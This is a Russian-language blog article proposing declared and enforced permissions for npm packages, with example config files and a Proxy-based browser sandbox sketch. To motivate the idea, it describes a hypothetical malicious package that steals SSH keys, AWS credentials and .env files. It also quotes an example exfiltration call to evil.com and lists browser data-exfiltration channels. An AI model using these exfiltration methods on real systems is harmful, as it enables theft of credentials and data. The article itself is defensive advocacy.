Несколько дней назад я впервые запустил калькулятор на новом телефоне и увидел такое сообщение: «Калькулятор хотел бы получить доступ к вашим контактам».
Сначала мне это сообщение показалось немного грустным (похоже, калькулятору было одиноко), но этот случай заставил меня задуматься…
Что если так же, как приложениям для телефонов, npm-пакетам надо было бы декларировать необходимые для их работы разрешения? При таком подходе файл пакета package.json
мог бы выглядеть примерно так:
{
"name": "fancy-logger",
"version": "0.1.0",
"permissions": {
"browser": ["network"],
"node": ["http", "fs"]
},
"etcetera": "etcetera"
}
На сайте npmjs.com раздел страницы пакета со сведениями о необходимых ему разрешениях мог бы выглядеть так.
Такой раздел со сведениями о разрешениях мог бы иметься у пакетов на сайте реестра npm
Подобные списки разрешений некоего пакета могли бы представлять собой объединение разрешений всех его зависимостей с его собственными разрешениями.
Один взгляд на содержимое раздела permissions
пакета fancy-logger
мог бы заставить разработчика задуматься о том, зачем пакету, который пишет что-то в консоль, доступ к модулю http
, и о том, что это выглядит несколько подозрительно.
Каким был бы мир, в котором использовалась бы подобная система разрешений для npm-пакетов? Возможно, кто-то не увидит в этом смысла, так как чувствует себя в полной безопасности, например, пользуясь только надёжными пакетами от проверенных временем издателей. Для того чтобы все, кто это читает, почувствовали бы себя уязвимыми, вот небольшой рассказ.
Рассказ о том, как я ворую ваши переменные окружения
Мне захотелось создать npm-пакет с именем space-invaders
. Интересно было поучиться делать игры, написав игру, которая работает в консоли, и в то же время обосновать мою точку зрения на уязвимости, связанные с npm-пакетами.
Запускать эту игру можно было бы такой командой: npx space-invaders
. После её запуска можно было бы сразу же начать стрелять в пришельцев и убивать время.
Вам бы эта игра понравилась, вы бы поделились ей с друзьями, им бы она понравилась тоже.
Выглядит всё это весьма позитивно, но, развлекая вас, игра space-invaders
будет заниматься своими делами, а именно — сбором некоторых данных. Она соберёт сведения из ~/.ssh/
, ~/.aws/credentials
, из ~/.bash_profile
и из других подобных мест, прочтёт содержимое всех .env
-файлов, до которых сможет дотянуться, в том числе — process.env
, заглянет в конфигурацию git (для того чтобы узнать — чью информацию она собирает), а потом она отправит это всё на мой сервер.
Я такую игру не писал, но уже некоторое время чувствую себя неспокойно, и, когда выполняю команду npm install
, размышляю о том, насколько уязвима моя система. Теперь, глядя на индикатор прогресса установки, я думаю о том, как много на моём ноутбуке стандартных папок и файлов, содержимое которых не должно попасть в чужие руки.
И ведь речь идёт не только о моём рабочем пространстве. Я, например, даже не знаю, есть ли в каких-то переменных среды моей системы сборки сайта данные для подключения к базе данных продакшн-сервера. Если где-то такие данные есть, то можно представить себе ситуацию, в которой вредоносный npm-пакет устанавливает в систему скрипт, предназначенный для подключения к моей рабочей базе данных. Потом этот скрипт выполняет команду SELECT * from users
, далее — http.get('http://evil.com/that-data')
. Может быть, именно из-за возможности подобных атак мне встречались советы о том, что пароли не следует хранить в базах в виде обычного текста?
Всё это выглядит довольно-таки пугающим, и, скорее всего, уже происходит (хотя точно говорить о том, происходит это или нет, нельзя).
На этом, пожалуй, мы прекратим разговор о последствиях кражи важных данных. Вернёмся к теме разрешений для npm-пакетов.
Блокировка изменений разрешений
Полагаю, было бы здорово иметь возможность видеть разрешения, необходимые пакету, при просмотре сайта npm. Но надо отметить, что возможность увидеть разрешения хороша лишь в применении к конкретному моменту времени, на самом же деле, реальную проблему это не решает.
В ходе недавнего инцидента в npm некто сначала опубликовал патч-версию пакета с вредоносным кодом, после чего опубликовал минорную версию, из которой вредоносный код уже был удалён. Времени между этими двумя событиями было достаточно для того чтобы под угрозу попало бы немало пользователей опасного пакета.
Вот это и есть проблема. Не пакеты, которые созданы вредоносными и такими всё время остаются. Проблема — в том, что в кажущийся надёжным пакет можно незаметно что-то нехорошее добавить и через некоторое время это из него убрать.
В результате можно сказать, что нам нужен механизм блокировки набора разрешений, получаемых пакетами.
Возможно, это будет нечто вроде файла package-permissions.json
, который задаёт разрешения для Node.js и для браузера и содержит список пакетов, которым нужны эти разрешения. При таком подходе понадобилось бы перечислять в таком файле все пакеты, а не только те, которые имеются в разделе dependencies
файла package.json
проекта.
Вот как может выглядеть файл package-permissions.json
.
{
"node": {
"http": [
"express",
"stream-http"
],
"fs": [
"fs-extra",
"webpack",
"node-sass"
]
},
"browser": {
"network": [
"whatwg-fetch",
"new-relic"
]
}
}
Реальная версия подобного файла могла бы содержать гораздо больше записей о пакетах.
Теперь представьте себе, что однажды вы обновляете некий пакет с двумя сотнями зависимостей, которые тоже обновятся. Для одной из этих зависимостей опубликована патч-версия, которой внезапно понадобился доступ к модулю http
Node.js.
Если это случится, то команда npm install
завершится с ошибкой, сообщив примерно следующее: «Пакет add-two-number
, необходимый пакету fancy-logger
, запросил доступ к модулю http
Node.js. Выполните команду npm update-permissions add-two-numbers
для того чтобы это разрешить, после чего снова выполните команду npm install
».
Здесь fancy-logger
— это пакет, который имеется в вашем файле package.json
(предполагается, что вам этот пакет знаком), а пакет add-two-numbers
— это зависимость fancy-logger
, о которой вы никогда не слышали.
Конечно, даже если в системе будет присутствовать файл для «блокировки» зависимостей, некоторые разработчики будут, ни о чём не думая, подтверждать новые разрешения. Но, как минимум, изменение в package-permissions.json
будет видно в пулл-запросе, то есть, будет шанс, что другой разработчик, более ответственный, обратит на это внимание.
Далее, изменения в запрошенных разрешениях потребовали бы от самого реестра npm оповещать авторов пакетов при изменении ситуации где-то в дереве зависимостей их пакетов. Возможно — делаться это будет электронным письмом примерно такого содержания:
«Здравствуйте, автор fancy-logger
. Сообщаем, что add-two-number
, пакет, возможностями которого вы пользуетесь, запросил разрешение на работу с модулем http
. Разрешения вашего пакета, показанные на npmjs.com/package/fancy-logger
, соответствующим образом обновлены».
Это, конечно, добавит дел и авторам пакетов, и самому npm, но дела эти будут достойными того, чтобы потратить на них немного времени. В данном случае автор add-two-numbers
может быть совершенно уверен в том, что если он запросит разрешение на работу с модулем http
, это приведёт к срабатыванию множества «сигнализаций» во всём мире.
Именно это нам и нужно. Да? Мне хочется надеяться, что, как и в случае с телефонными приложениями, и даже в случае с расширениями для Chrome, пакеты, которым требуется меньше разрешений, будут пользоваться большей любовью пользователей, чем те, которым нужен необъяснимо высокий уровень доступа к системам. Это, в свою очередь, заставит авторов пакетов очень хорошо думать при выборе разрешений, необходимых для их разработок.
Предположим, что в npm решено ввести систему разрешений. В первый день запуска такой системы все пакеты будут считаться требующими полных разрешений (такое решение будет приниматься и позже — в тех случаях, когда в package.json
будет отсутствовать раздел permissions
).
Автор пакета, который хочет заявить о том, что его пакет не требует особых разрешений, будет заинтересован в том, чтобы добавить в package.json
раздел permissions
в виде пустого объекта. И, если авторы пакетов будут достаточно заинтересованы в том, чтобы разрешения зависимостей не «отягощали» бы их пакеты, они постараются чтобы эти пакеты-зависимости так же не требовали бы особых разрешений, например, делая соответствующие пулл-запросы в репозитории зависимостей.
Кроме того, каждый автор пакета будет стремиться к снижению риска уязвимости его пакета при взломе одной из его зависимостей. Поэтому, если авторы пакетов будут использовать зависимости, требующие разрешений, которые тем, вроде бы, и не нужны, у них будет стимул на переход к использованию других пакетов.
А в случае с разработчиками, которые используют npm-пакеты при создании приложений, это заставит их обращать особое внимание на пакеты, используемые в их проектах, выбирая в основном те, которые особых разрешений не требуют. При этом, естественно, некоторым пакетам, по объективным причинам, будут требоваться разрешения, способные вызвать проблемы, но такие пакеты, вероятно, будут на особом контроле у разработчиков.
Возможно, каким-то образом помочь в решении всех этих проблем может нечто вроде Greenkeeper.
И, наконец, файл package-permissions.json
даст простую для восприятия сводку для специалиста по безопасности, оценивающего потенциальные «дыры» в приложении и позволит задать конкретные вопросы по спорным пакетам и их разрешениям.
В результате, хочется надеяться, это простое свойство permissions
сможет достаточно широко распространиться среди примерно 800000 npm-пакетов и сделать npm безопаснее.
Конечно, это не предотвратит возможные атаки. Так же, как разрешения, запрашиваемые мобильными приложениями, не делают невозможным создание вредоносных мобильных приложений, распространяемых через официальные площадки. Но это сузит «поверхность атаки» до пакетов, которые в явном виде запрашивают разрешения для выполнения неких действий, которые могут нести угрозу для компьютерных систем. Кроме того, интересно будет узнать о том, какому проценту пакетов не нужны вообще никакие особые разрешения.
Вот так выглядит придуманный мной механизм работы с разрешениями для npm-пакетов. Если эта идея станет реальностью, то мы можем либо положиться на то, что злоумышленники будут честно описывать свои пакеты, декларируя разрешения, либо совместить систему декларирования разрешений с механизмом принудительного ограничения возможностей пакетов в соответствии с запрошенными ими разрешениями. Это — интересный вопрос. Давайте рассмотрим его в применении к среде Node.js и к браузерам.
Принудительное ограничение возможностей пакетов в соответствии с запрошенными ими разрешениями в Node.js
Здесь мне видятся два возможных варианта применения подобных ограничений.
▍Вариант 1: особый npm-пакет, принудительно вводящий меры безопасности
Представьте себе пакет, созданный и поддерживаемый npm (или какой-то другой организацией, столь же авторитетной и дальновидной). Пусть этот пакет называется @npm/permissions
.
Такой пакет либо включали бы в код приложений первой командой импорта, либо приложения запускали бы командой вида node -r @npm/permissions index.js
.
Пакет переопределял бы другие команды импорта, таким образом, чтобы они не нарушали бы разрешений, заявленных в разделе permissions
файлов package.json
других пакетов. Если автор некоего пакета lovely-logger
не задекларировал потребность этого пакета в модуле Node.js http
, это значит, что такому пакету нельзя будет обращаться к этому модулю.
Строго говоря, блокировка целых модулей Node.js таким способом неидеальна. Например, npm-пакет methods
загружает модуль Node.js http
, но не отправляет с его помощью никаких данных. Он просто берёт объект http.METHODS
, преобразует его имя к нижнему регистру, и экспортирует его в виде классического npm-пакета. Сейчас подобный пакет выглядит отличной целью для атакующего — у него 6 миллионов загрузок в неделю, при этом он не менялся уже 3 года. Я мог бы написать авторам этого пакета и предложить им передать мне его репозиторий.
Рассматривая пакет methods
лучше будет считать, что ему не требуется разрешение network
, а не разрешение, дающее доступ к модулю http
. Затем это ограничение можно зафиксировать с помощью внешнего механизма и нейтрализовать любые попытки этого пакета отправки неких данных из систем, в которых он работает.
Воображаемый пакет @npm/permissions
мог бы также ограничивать доступ из одного пакета к любым другим пакетам, которые не были перечислены в качестве его зависимостей. Это не даст пакету, например, импортировать нечто вроде fs-extra
и request
, и использовать возможности этих пакетов для чтения данных из файловой системы и отправки прочитанных данных злоумышленнику.
Аналогично, может быть полезным различать «внутренний» и «внешний» доступ к диску. Меня вполне устраивает то, что пакет node-sass
нуждается в доступе к материалам, находящимся в пределах директории моего проекта, но я не вижу причин, по которым этому пакету нужен доступ к чему-либо, находящемуся за пределами этой директории.
Возможно, в самом начале введения системы разрешений, пакет @npm/permissions
нужно будет добавлять в проекты вручную. Пожалуй, в переходный период, во время устранения неизбежных неполадок, это единственный разумный подход к использованию подобного механизма. Но для обеспечения реальной безопасности необходимо чтобы этот пакет был бы жёстко встроен в систему, так как нужно будет, учитывать разрешения и при выполнении скриптов установки пакетов.
Тогда, скорее всего, окажется, что простая команда вида "enforcePermissions": true
в файле package.json
проекта будет говорить npm о том, чтобы любые скрипты запускались бы с принудительным применением задекларированных ими разрешений.
▍Вариант 2: безопасный режим Node.js
Особый режим работы Node.js, ориентированный на повышенный уровень безопасности, очевидно, потребует более серьёзных изменений. Но, возможно, в долгосрочной перспективе, сама платформа Node.js сможет обеспечивать принудительное применение ограничений, задаваемых разрешениями, задекларированными каждым пакетом.
С одной стороны я знаю, что те, кто занимается разработкой платформы Node.js, стремятся к тому, чтобы решать задачи этой платформы, и мои идеи о безопасности npm-пакетов выходят за пределы сферы их интересов. Ведь, в конце концов, npm — это всего лишь технология, сопутствующая Node.js. С другой стороны, разработчики Node.js заинтересованы в том, чтобы корпоративные пользователи чувствовали бы себя уверенно, работая с этой платформой, а безопасность, надо полагать, это одна из тех сторон Node.js, заботу о которой не следует отдавать «сообществу».
Итак, пока всё, о чём мы говорили, выглядело довольно просто и сводилось к тому, чтобы система тем или иным способом следила бы за возможностями, используемыми модулями во время работы Node.js.
Теперь поговорим о браузерах. Здесь всё выглядит совсем не таким чётким и понятным.
Принудительное ограничение возможностей пакетов в соответствии с запрошенными ими разрешениями в браузерах
На первый взгляд принудительное ограничение возможностей пакетов в браузерах выглядит даже проще, так как код, выполняющийся в браузере, не особенно многое может сделать по отношению к операционной системе, на базе которой работает браузер. На самом деле, в случае с браузерами, надо заботиться лишь о возможности пакетов по передаче данных на необычные адреса.
Проблема же здесь заключается в том, что существует бесчисленное множество способов отправки данных из браузера пользователя на сервер злоумышленника.
Это называют эксфильтрацией или утечкой данных, и если спросить специалиста по безопасности о том, как этого избежать, он, с видом человека, который изобрёл порох, скажет вам, что надо прекратить использовать npm.
Полагаю, что для пакетов, работающих в браузерах, нужно уделить вниманию лишь одному разрешению — тому, которое ответственно за возможность работы с сетью. Назовём его network
. В этой среде могут быть и другие разрешения (наподобие таких, которые регулируют доступ к DOM или к локальному хранилищу), но тут я исхожу из предположения, что наша главная забота — возможность утечки данных.
Данные из браузера можно «увести» множеством способов. Вот какие я смог вспомнить за 60 секунд:
- API
fetch
. - Веб-сокеты.
- Технология WebRTC.
- Конструктор
EventSource
. - API
XMLHttpRequest
. - Настройка свойства
innerHTML
различных элементов (можно создавать новые элементы). - Создание объекта изображения командой
new Image()
(свойствоsrc
изображения может служить средством эксфильтрации данных). - Установка
document.location
,window.location
, и так далее. - Изменение свойств
src
существующего изображения, элементаiframe
или чего-то в этом роде. - Изменения свойства
target
элемента<form>
. - Использование хитро сконструированной строки для доступа к любому из вышеописанных механизмов или для доступа к чему-то в
top
илиself
вместоwindows
.
Надо отметить, что хорошая политика безопасности контента (CSP, Content Security Policy) способна некоторые из этих угроз нейтрализовать, но ко всем им это не относится. Если кто-то может меня поправить — буду счастлив, но я полагаю, что никогда нельзя полагаться на то, что CSP полностью защитит вас от утечки данных. Как-то один человек сказал мне о том, что CSP обеспечивает почти полную защиту от огромного количества угроз. На это я ответил, что нельзя быть немножко беременным, и с тех пор мы с этим человеком не общались.
Если с умом подойти к поиску способов кражи данных из браузера, то я уверен, что вполне реально составить достаточно полный список этих способов.
Теперь надо найти механизм запрета доступа к использованию возможностей из подобного списка.
Я вижу здесь нечто вроде плагина для Webpack (скажем, он может называться @npm/permissions-webpack-plugin
), который должен выполнять следующие функции:
- При сборке кода этот плагин должен считывать свойство
browser
файлаpackage-permissions.json
для определения того, каким npm-пакетам требуется доступ к сетевым возможностям (или к каким-то другим возможностям, нужным пакетам). - В браузере, при выполнении кода, надо инициализировать модули таким способом, чтобы они не могли бы работать с API, к которым у них доступа быть не должно.
(Конечно, нужны особые версии подобного пакета для Parcel, Rollup, Browserify и для других подобных инструментов).
Например, предположим, у нас имеется большой фронтенд-фреймворк. Работать с ним легко, так как он берёт на себя выполнение всех мыслимых задач, и поэтому ему нужен доступ абсолютно ко всему, как, собственно, и происходит с подобными фреймворками в наши дни.
С другой стороны, у нас может быть некий вспомогательный пакет (вроде Lodash, Moment, и так далее), который не запрашивает вообще никаких особых разрешений. Подобному пакету нужно работать в ограниченном браузерном окружении.
Ниже показаны примеры обёрток для масштабного фреймворка и для небольшого вспомогательного пакета.
// Обёртка модуля (фреймворка), созданная плагином бандлера, обеспечивающим ограничение разрешений
function bigFrameworkWrapper(newWindow) {
/* -- шаблонный код модуля -- */
const window = newWindow;
const document = window.document;
// и ещё очень много всего
/* -- тело модуля -- */
const module = {
doSomething() {
const newDiv = document.createElement('div'); // разрешено
const newScript = document.createElement('script'); // разрешено
const firstDiv = document.querySelector('div'); // разрешено
},
};
return module;
}
// Обёртка модуля (небольшой утилиты), созданная плагином бандлера, обеспечивающим ограничение разрешений
function smallUtilWrapper(newWindow) {
/* -- шаблонный код модуля -- */
const window = newWindow;
const document = window.document;
// и ещё очень много всего
/* -- тело модуля -- */
const module = {
doSomething() {
const newDiv = document.createElement('div'); // разрешено
const newScript = document.createElement('script'); // НЕ РАЗРЕШЕНО!
const firstDiv = document.querySelector('div'); // разрешено
},
};
return module;
}
const restrictedWindow = new Proxy(window, {
get(target, prop, receiver) {
if (prop === 'document') {
return new Proxy(target.document, {
get(target, prop, receiver) {
if (prop === 'createElement') {
return new Proxy(window.document.createElement, {
apply(target, thisArg, argumentsList) {
if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {
console.error('A module without permissions attempted to create a naughty element');
return false;
}
return target.apply(window.document, argumentsList);
},
});
}
const result = Reflect.get(target, prop, receiver);
if (typeof result === 'function') return result.bind(target);
return result;
},
});
}
return Reflect.get(target, prop, receiver);
},
});
const bigFramework = bigFrameworkWrapper(window);
bigFramework.doSomething(); // нет проблем
const smallUtil = smallUtilWrapper(restrictedWindow);
smallUtil.doSomething(); // ошибка! "A module without permissions attempted to create a naughty element"
Строки function bigFrameworkWrapper(newWindow) {
и function smallUtilWrapper(newWindow) {
— это модули, которые создаёт плагин бандлера. Они «перенастраивают» окружение браузера для оборачиваемых им пакетов.
В строке const newScript = document.createElement('script'); // НЕ РАЗРЕШЕНО!
можно видеть, как маленькая утилита пытается выполнить некое запрещённое действие — создать новый элемент script
.
В строках const bigFramework = bigFrameworkWrapper(window);
и const smallUtil = smallUtilWrapper(restrictedWindow);
выполняется «импорт» модулей в текущую область видимости. Полагаю, хотя тут всё выглядит немного неопрятно, общую идею вы уловили.
В строке const restrictedWindow = new Proxy(window, {
создаётся новый объект window
, который является таким же, как и обычный объект window
, за исключением того, что он использует прокси для того чтобы запрещать коду использовать window.document.createElement
для создания узлов DOM определённых типов.
Я очень люблю объекты Proxy
.
В предыдущем примере заблокировано лишь одно действие. Однако на практике речь идёт об огромном количестве механизмов, доступ к которым надо контролировать для предотвращения утечки данных из браузера.
Я, на самом деле, не размышлял ещё обо всех остальных API, доступ к которым может понадобиться контролировать. На самом деле, тут приведёт немаленький фрагмент кода, иллюстрирующий мои идеи, но я, честно говоря, не особенно уверен в том, что такой код подойдёт для контроля за модулями, учитывая особенности их функционирования, или в том, что браузер будет нормально работать, если «скормить» ему подобные конструкции.
Однако эти мои размышления и эксперименты, по крайней мере, дают мне надежду на то, что существует какой-то способ реализовать это на практике.
И, кстати, не думаю, что в контексте нашего разговора имеет значение то, что не все браузеры поддерживают объекты Proxy
. Решение, которое блокирует вредоносную активность в 90% браузеров, меняет экономику атаки. Если всё это значительно снизит возможную эффективность атаки, то это может и полностью предотвратить возможность такой атаки, сделав её нецелесообразной. И, так как поддержка прокси-объектов браузерами постепенно растёт, не вижу причин ждать полной её поддержки и не начинать внедрение защитных средств, основанных на прокси, уже сейчас.
Если же, в худшем случае, окажется, что блокировка эксфильтрации данных в браузерах невозможна, я не отказываюсь от идеи, в соответствии с которой одно только введение системы разрешений для модулей в среде Node.js стоит затраченных на реализацию этой идеи усилий.
Несбыточная мечта
Я понял, когда это писал, что создатели спецификации HTTP не предвидели то, что мы, разработчики, будем охотно и часто запускать недоверенный код на наших веб-сайтах. Это вполне объяснимо.
Если почитать материалы по веб-безопасности, то посвящены они, в основном, ограничению доступа к аппаратному обеспечению из браузера или разновидностям обмена данными между разными сущностями. Взгляните на элементы iframe
, которые изначально считались небезопасными. У них есть атрибут sandbox
, идея которого соответствует тому, о чём мы тут говорим. А именно, он позволяет запретить коду, написанному сторонним разработчиком, доступ к ресурсам нашего веб-проекта.
Возможно, лет через десять, мы сможем пользоваться атрибутом sandbox
тега <script>
. Выглядеть это может примерно так: <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>
. Подобная конструкция будет указывать на то, что я загружаю на свою страницу скрипт, и загружается он с моего домена, но создан этот скрипт силами какого-нибудь create-react-app
, в котором 1.4 миллиона строк кода, и я не знаю обо всех подробностях работы этого скрипта.
Если мы нечто подобное увидим, то перед нами будет сравнительно чёткий механизм связи разрешений пакетов из npm и окружения, в котором код выполняется в браузере.
Я полагаю, что такой подход приблизит спецификации веб-технологий к реальности.
Кстати, вы заметили, что если в каком-то высказывании встречается фраза «не следует...», она играет роль сигнального флажка, указывая на то, что высказывание не учитывает настоящего положения дел?
Итоги
Не знаю, насколько всё то, о чём я тут рассказал, обоснованно, сколько подобных идей уже обсуждалось в кругах разработчиков стандартов и отбрасывалось по уважительным причинам. Но я всегда готов к тому, что 90% того, что я говорю, покажется окружающим просто смешным, а хотя бы 10% — таким, над чем стоит задуматься.
Надеюсь, что если даже этот мой материал ничего и не изменит, то он хотя бы привлечёт к рассматриваемой здесь проблеме безопасности веб-проектов внимание общественности.
Уважаемые читатели! Как вы думаете, можно ли, внедрив систему разрешений для пакетов в npm, повысить безопасность веб-среды?
Автор: ru_vds